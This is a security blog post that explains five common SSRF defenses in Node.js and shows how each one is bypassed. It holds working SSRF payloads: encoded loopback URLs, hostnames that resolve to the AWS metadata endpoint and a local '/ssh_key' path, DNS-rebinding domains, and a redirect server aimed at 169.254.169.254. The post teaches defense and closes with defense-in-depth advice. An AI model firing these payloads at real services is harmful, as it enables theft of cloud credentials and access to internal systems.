Skip to main content

Command Palette

Search for a command to run...

Breaking SSRF Defenses: Real-World Bypass Techniques

Every defense has a bypass—learn to think like an attacker

Updated
9 min read
Breaking SSRF Defenses: Real-World Bypass Techniques
R

Rahul Dhawan is a senior security engineer with 6 years of experience securing distributed systems, building internal security platforms, and leading initiatives across WAF, data security, logging, and detection. He writes technical breakdowns grounded in real-world deployments, with an eye for architecture, automation, and reliability under pressure.

🔚
TL;DR: Every SSRF defense you think is bulletproof has been bypassed in production. This guide shows you how attackers think, what defenses actually work, and gives you a hands-on lab to test everything yourself.

Why SSRF Still Matters in 2025

Server‑Side Request Forgery (SSRF) continues to be one of the most exploited and lucrative vulnerabilities in modern web systems.

Active SSRF Exploits in 2024-2025

  • CVE‑2024‑27564: A critical SSRF flaw in ChatGPT's infrastructure allowed attackers to abuse pictureproxy.php functionality to make unauthorized requests, targeting financial, government, and healthcare sectors worldwide

  • CVE‑2024‑34351: A SSRF vulnerability in Next.js Server Actions allowed attackers to make arbitrary requests and read full HTTP responses by manipulating the Host header

  • nossrf npm bypass: A critical vulnerability in the popular nossrf npm package (up to v1.0.3) allowed bypassing URL validation to access internal IP ranges using domains like localtest.me that resolve to localhost

SSRF = Serious Payday

If you're hunting bug bounties in 2025, SSRF is still top of funnel:

Does your backend fetch external URLs, for webhooks, PDF rendering, image proxying, or API calls? Then you already have an SSRF attack surface.

Here's the real issue: developers know SSRF but their defenses still fail.

  • IP filters break on IPv4-mapped IPv6 (::ffff:127.0.0.1)

  • DNS allowlists crumble under TOCTOU races

  • Redirects tunnel into internal services

  • Regex filters are often just security theater

  • IMDSv2 can still be bypassed via chained SSRF attacks

This guide isn't a surface-level checklist. It's a developer-first, exploit-backed war game.

I've built a fully interactive SSRF Lab where every defense fails, until it doesn't. You'll run real-world payloads, break "secure" filters, and learn why they collapse under pressure. Watch a simple IP blacklist get demolished by decimal encoding, then see how DNS validation falls to rebinding attacks, then discover how even "bulletproof" defenses have fatal flaws.

By the end, you won't just spot SSRF, you'll dismantle it like a pro attacker. Ready to break some defenses?

Video Learner? I covered similar SSRF concepts in a 2023 Postman Webinar. This guide is the updated, interactive version with hands-on labs.


Defense 1: IP Address Blacklisting

The Implementation

Most developers start with the obvious approach, block private IP ranges:

// Basic IP blacklisting (vulnerable implementation)
function isPrivateIP(ip) {
    const privateRanges = [
        /^10\./,
        /^172\.(1[6-9]|2\d|3[0-1])\./,
        /^192\.168\./,
        /^127.0.0.1$/
    ];
    return privateRanges.some(range => range.test(ip));
}

function validateURL(url) {
    const parsed = new URL(url);
    const hostname = parsed.hostname;

    // Check if hostname is an IP address
    if (net.isIP(hostname)) {
        if (isPrivateIP(hostname)) {
            throw new Error('Private IP addresses not allowed');
        }
    }
    return url;
}

This looks reasonable, but it's trivially bypassed.

The Bypass: IP Encoding and IPv6

Attackers don't use 127.0.0.1, they use alternative representations:

// All of these resolve to localhost
const bypasses = [
    'http://2130706433/',           // Decimal encoding
    'http://0x7f.0x0.0x0.0x1/',     // Hex encoding  
    'http://0177.0.0.01/',          // Octal encoding
    'http://[::1]/',                // IPv6 loopback
    'http://[::ffff:127.0.0.1]/',   // IPv4-mapped IPv6
    'http://127.000.000.001/',      // Zero-padded decimal
    'http://127.1/',                // Abbreviated notation
];

Lab Demo: Test IP Encoding Bypasses →

Why This Defense Fails

  1. Incomplete coverage: Missing IPv6, encoded formats, and edge cases

  2. Parsing inconsistencies: Different libraries interpret IP formats differently

  3. Maintenance burden: New bypass vectors discovered regularly


Defense 2: Library-Based IP Validation

The Implementation

Smart developers use established libraries that handle IP validation across a wide range of formats:

const isPrivateIP = require('private-ip');

function validateURL(url) {
    const parsed = new URL(url);
    const hostname = parsed.hostname;

    // Handle IP addresses
    if (net.isIP(hostname)) {
        if (isPrivateIP(hostname)) {
            throw new Error('Private IP addresses not allowed');
        }
    }

    return url;
}

// Usage
try {
    const safeURL = validateURL(userInput);
    const response = await fetch(safeURL);
} catch (error) {
    console.error('Invalid URL:', error.message);
}

“It handles RFC 1918, IPv6, and encoded formats reliably, far more robust than regex-based filtering.

The Bypass: DNS Pinning

The library correctly identifies IP addresses, but what about hostnames that resolve to private IPs?

// Attacker-controlled DNS records
// test.meta.rahuldhawan.me A 169.254.169.254 (private IP - never checked) hence Bypasses the Defense

const maliciousURLs = [
    'http://169.254.169.254.nip.io/latest/meta-data/', // Resolves to AWS metadata IP
    'http://test.meta.rahuldhawan.me/latest/meta-data/', // Resolves to AWS metadata IP
    'http://127.0.0.1.nip.io:3000/ssh_key', // Resolves to Localhost
    'http://localtest.me:3000/ssh_key',  // Resolves to Localhost
];

The application validates the domain name but never resolves it to check the underlying IP address.

Lab Demo: Test DNS Pinning Attack →

Why This Defense Fails

IP validation without DNS resolution creates a massive blind spot. Attackers control both the domain and its DNS records.


Defense 3: DNS Resolution + IP Validation

The Implementation

The next defense combines DNS resolution with IP validation:

const dns = require('dns').promises;
const isPrivateIP = require('private-ip');

async function validateURL(url) {
    const parsed = new URL(url);
    const hostname = parsed.hostname;

    // If it's already an IP, validate directly
    if (net.isIP(hostname)) {
        if (isPrivateIP(hostname)) {
            throw new Error('Private IP addresses not allowed');
        }
        return url;
    }

    // Resolve hostname to IP addresses
    try {
        const addresses = await dns.lookup(hostname, { all: true });

        // Check each resolved IP
        for (const addr of addresses) {
            if (isPrivateIP(addr.address)) {
                throw new Error(`Hostname resolves to private IP: ${addr.address}`);
            }
        }

        return url;
    } catch (error) {
        throw new Error(`DNS resolution failed: ${error.message}`);
    }
}

// Usage
const safeURL = await validateURL(userInput);
const response = await fetch(safeURL);

This looks comprehensive, validate IPs directly, resolve hostnames, and check all resolved addresses.

The Bypass: HTTP Redirect Chains

DNS resolution validation is solid, but HTTP redirects create another attack vector:

// Attack flow:
// 1. User submits: http://evil.com/redirect
// 2. DNS check: evil.com resolves to 203.0.113.1 (public IP) ✓
// 3. HTTP request to evil.com/redirect
// 4. Server responds: 302 Found, Location: http://127.0.0.1:8080/admin
// 5. Application follows redirect to localhost

// Attacker's redirect server
app.get('/redirect', (req, res) => {
    res.redirect('http://127.0.0.1:8080/admin');
});

// In PHP
<?php
/* Redirect browser */
header("Location: http://169.254.169.254/latest/meta-data/");
?>

The application validates the initial URL but blindly follows redirects without re-validation.

Why This Defense Fails

HTTP redirects create a second URL that bypasses the initial validation. Many HTTP libraries follow redirects by default.


Defense 4: Redirect Validation

The Implementation

The logical next step is validating every URL in the redirect chain:

const axios = require('axios');

// Custom HTTP client that validates redirects
const secureClient = axios.create({
    maxRedirects: 5,
    timeout: 10000,
    // Custom redirect handling
    beforeRedirect: async (options, responseDetails) => {
        // Validate the redirect URL
        const redirectURL = responseDetails.headers.location;
        await validateURL(redirectURL);

        console.log(`Redirect validated: ${redirectURL}`);
    }
});

async function safeFetch(url) {
    // Validate initial URL
    await validateURL(url);

    // Make request with redirect validation
    const response = await secureClient.get(url);
    return response;
}

This implementation validates both the initial URL and every redirect target.

The Bypass: DNS Rebinding (Time-of-Check/Time-of-Use)

This attack exploits the fact that applications often perform two separate DNS lookups:

  • Validation lookup: To check if the hostname resolves to a "safe" IP

  • Request lookup: When the HTTP client actually initiates the request

The attacker configures their DNS server with a very low TTL (e.g., 1 second) and serves alternating IP responses:

  • First lookup: Returns a public IP (passes validation)

  • Second lookup: Returns a private/internal IP (used during the actual request)

This exploits the time gap between security validation and usage, allowing the attacker to bypass IP-based SSRF protections and reach internal services.

There are multiple Tools that attacker uses to exploit this kind of vulnerability

# PublicIP -> 1.2.3.4 and Private IP -> 169.254.169.254
http://make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms/latest/meta-data/
# Resolves to 1.2.3.4 and 169.254.169.254 consecutivly
http://7f000001.01020304.rbndr.us:3000/ssh_key

Lab Demo: Test HTTP Redirect Bypass →

Why This Defense Fails

The fundamental issue is two separate DNS resolutions with different timing. HTTP libraries perform their own DNS resolution, creating a race condition window.


Defense 5: IMDSv2 Enforcement (Bypassed via SSRF Chaining)

The Implementation

When developers realized attackers were abusing direct SSRF to fetch cloud metadata, they enforced IMDSv2, which requires a temporary token fetched via a PUT request with custom headers, a move that blocked naive SSRF payloads.

// Defense 5: Block metadata access and enforce IMDSv2
router.get('/defense5', errorHandler(async function (req, res) {
    const url = req.query.url;
    const hostname = getHostname(url);

    // Block direct metadata access
    const metadataIPs = ['169.254.169.254', '100.100.100.200'];
    if (metadataIPs.includes(hostname)) {
        return res.status(423).send('Action Blocked! Direct metadata access forbidden');
    }

    // Strip IMDSv2 headers from requests
    const response = await axios.get(url, {
        headers: {
            'X-aws-ec2-metadata-token': undefined
        }
    });

    return res.send(response.data);
}));

The Bypass: SSRF Chaining Attack

This bypass technique comes from Yassine Aboukir research on exploiting SSRF against EC2 IMDSv2. He found a SSRF vulnerability and realized they could leverage internal services that support header forwarding to bypass IMDSv2 entirely. The core insight: IMDSv2 blocks direct SSRF, but fails when attackers chain through internal services that can set custom headers.

Attack flow:

  1. Use SSRF to access internal service (like Atlassian Gadgets)

  2. Make internal service fetch IMDSv2 token (PUT + custom headers)

  3. Use internal service to access metadata with the token

  4. Since the internal service is trusted, it bypasses all protections Check out Yassine's writeup for the full technical details.

Why This Defense Fails

Trust boundaries matter. While your main application blocks metadata access, internal services often lack the same protections—turning your security infrastructure into an attack vector.


The Reality: No Silver Bullet for SSRF

After walking through five different SSRF defenses and their bypasses, one thing becomes clear: there's no single-layer solution that solves SSRF completely.

Each defense we've covered represents real-world attempts to solve SSRF at the application layer:

  • IP blacklisting fails to encoding bypasses

  • Library validation falls to DNS pinning

  • DNS resolution checking gets defeated by redirects

  • Redirect blocking succumbs to TOCTOU races

  • IMDSv2 protection crumbles under SSRF chaining

The cat-and-mouse game continues because attackers control both the domain names and their DNS records. Any defense that relies solely on URL validation or IP checking at request time will eventually find a bypass.

Defense in Depth: The Only Way Forward

Instead of searching for the perfect application-level fix, successful SSRF mitigation requires multiple layers of protection:

🛡️ Network Layer: Isolate critical services, block egress traffic by default, segment VPCs.

🔒 Application Layer: Use strict allowlists, cache DNS resolution, validate redirects

⚙️ Infrastructure: Enforce IMDSv2, audit internal services for header forwarding

🧠 Design Philosophy: Treat internal services as untrusted, monitor internal requests

The goal isn't to make SSRF impossible, it's to make successful exploitation low-impact. When your critical services are network-isolated and your metadata services require proper authentication, even successful SSRF attacks hit dead ends.

Try the Interactive SSRF Lab → to test every defense and bypass covered in this guide.

Your Next Steps

  1. Test your current defenses using the lab techniques covered here

  2. Assume application-level protections will be bypassed and plan accordingly

  3. Focus on network isolation for your most sensitive services

  4. Monitor for SSRF patterns and failed internal requests

  5. Design systems where SSRF success doesn't equal infrastructure compromise

SSRF will always be with us, but with defense in depth, it doesn't have to be devastating.


References

166 views

More from this blog